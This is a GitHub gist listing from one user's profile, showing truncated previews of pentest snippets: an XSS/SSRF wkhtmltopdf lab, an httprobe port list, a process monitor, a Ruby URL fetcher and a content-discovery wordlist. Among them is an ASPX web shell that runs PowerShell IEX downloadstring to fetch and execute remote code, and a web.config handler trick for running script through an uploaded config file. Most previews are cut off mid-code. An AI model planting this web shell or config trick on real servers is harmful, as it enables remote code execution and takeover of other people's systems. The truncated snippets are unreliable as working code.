Skip to content

Instantly share code, notes, and snippets.


Splint3r7 Splint3r7

View GitHub Profile
Splint3r7 / ssrf_wkhtmltopdf.php
Created Mar 29, 2021
View ssrf_wkhtmltopdf.php
# Before starting this lab make sure wkhtmltopdf is installed.
header("Content-Type: text/html");
$bad = "script";
$param = $_GET["xss"];
echo "Printing your payload on pdf file sur ;_;</br>";
Splint3r7 / read.php
Created Mar 29, 2021
Read pdf files
View read.php
$file = 'test.pdf';
$filename = 'test.pdf'; /* Note: Always use .pdf at the end. */
header('Content-type: application/pdf');
header('Content-Disposition: inline; filename="' . $filename . '"');
header('Content-Transfer-Encoding: binary');
header('Content-Length: ' . filesize($file));
header('Accept-Ranges: bytes');
View httprobe_full
| httprobe -p https:10000 -p https:1010 -p https:1085 -p https:11371 -p https:12443 -p https:1311 -p https:1414 -p https:14439 -p https:16080 -p https:1776 -p https:18091 -p https:18092 -p https:2031 -p https:20720 -p https:20790 -p https:2082 -p https:2087 -p https:2095 -p https:2096 -p https:21011 -p https:21012 -p https:21021 -p https:21022 -p https:2381 -p https:24465 -p https:2480 -p https:280 -p https:28017 -p https:300 -p https:3000 -p https:311 -p https:3128 -p https:3333 -p https:3702 -p https:4125 -p https:4243 -p https:4444 -p https:4567 -p https:4711 -p https:4712 -p https:4847 -p https:4993 -p https:5000 -p https:5010 -p https:5104 -p https:5108 -p https:5280 -p https:5357 -p https:5433 -p https:5800 -p https:591 -p https:593 -p https:6543 -p https:7000 -p https:7002 -p https:7396 -p https:7474 -p https:8000 -p https:8001 -p https:8008 -p https:8011 -p https:8014 -p https:8042 -p https:8069 -p https:8080 -p https:8081 -p https:8086 -p https:8088 -p https:8090 -p https:8091 -p https:81 -p https:81
Splint3r7 / badchars
Last active Nov 1, 2019
View badchars
badchars = (
old_pr=$(ps -eo command)
while true; do
new_pr=$(ps -eo command)
diff <(echo "$old_pr") <(echo "$new_pr") | grep [\<\>]
sleep 1
Splint3r7 / ruby-open-uri-request.rb
Created Jul 30, 2019 — forked from kyletcarlson/ruby-open-uri-request.rb
4-line Ruby script that uses open-uri to fetch the contents of a URL & displays it in the console. This is the foundation for all web requests, whether to scrape a page, request a JSON response, and more.
View ruby-open-uri-request.rb
require 'open-uri'
# Go fetch the contents of a URL & store them as a String
response = open('').read
# "Pretty prints" the result to look like a web page instead of one long string of HTML
# Print the contents of the website to the console
View web.aspx
//simple aspx shell to execute commands
Set s = CreateObject("WScript.Shell")
Set cmd = s.Exec("cmd /c powershell -c IEX (New-Object Net.Webclient).downloadstring('')")
o = cmd.StdOut.Readall()
View web.config
<?xml version="1.0" encoding="UTF-8"?>
<handlers accessPolicy="Read, Script, Write">
<add name="web_config" path="*.config" verb="*" modules="IsapiModule" scriptProcessor="%windir%\system32\inetsrv\asp.dll" resourceType="Unspecified" requireAccess="Write" preCondition="bitness64" />
<remove fileExtension=".config" />
echo "<title>Generated hyper Link URLS</title>" >> $1-urls.html
cat $1 | while read urls; do
echo "<a href=${urls}>${urls}</a></br></br>" >> $1-urls.html
Splint3r7 / content_discovery_all.txt
Created May 5, 2019 — forked from jhaddix/content_discovery_all.txt
a masterlist of content discovery URLs and files (used most commonly with gobuster)
View content_discovery_all.txt
This file has been truncated, but you can view the full file.